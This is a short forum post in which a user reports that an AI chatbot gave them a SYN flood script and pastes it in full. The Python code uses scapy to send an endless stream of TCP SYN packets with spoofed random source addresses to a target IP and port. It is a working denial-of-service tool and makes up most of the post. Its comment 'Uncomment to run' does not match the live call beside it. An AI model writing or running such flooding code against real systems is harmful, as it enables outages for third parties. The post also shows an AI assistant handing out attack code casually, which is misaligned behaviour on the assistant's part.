kimi AI just gave me SYN_FLOOD script in python xD
from ghodawalaaman@programming.dev to programming@programming.dev on 17 Mar 10:37
https://programming.dev/post/47339142

I know it’s very old now but I still didn’t know about this kind of low level attack. I don’t even know if it works or not but I still found it interesting.

from scapy.all import *
import random

target_ip = "192.168.1.1"
target_port = 80

def syn_flood():
    while True:
        # Randomize source IP and port
        src_ip = ".".join(map(str, (random.randint(0,255) for _ in range(4))))
        src_port = random.randint(1024, 65535)
        
        ip = IP(src=src_ip, dst=target_ip)
        tcp = TCP(sport=src_port, dport=target_port, flags="S")
        
        send(ip/tcp, verbose=0)

syn_flood()  # Uncomment to run (requires proper authorization)

#programming

threaded - newest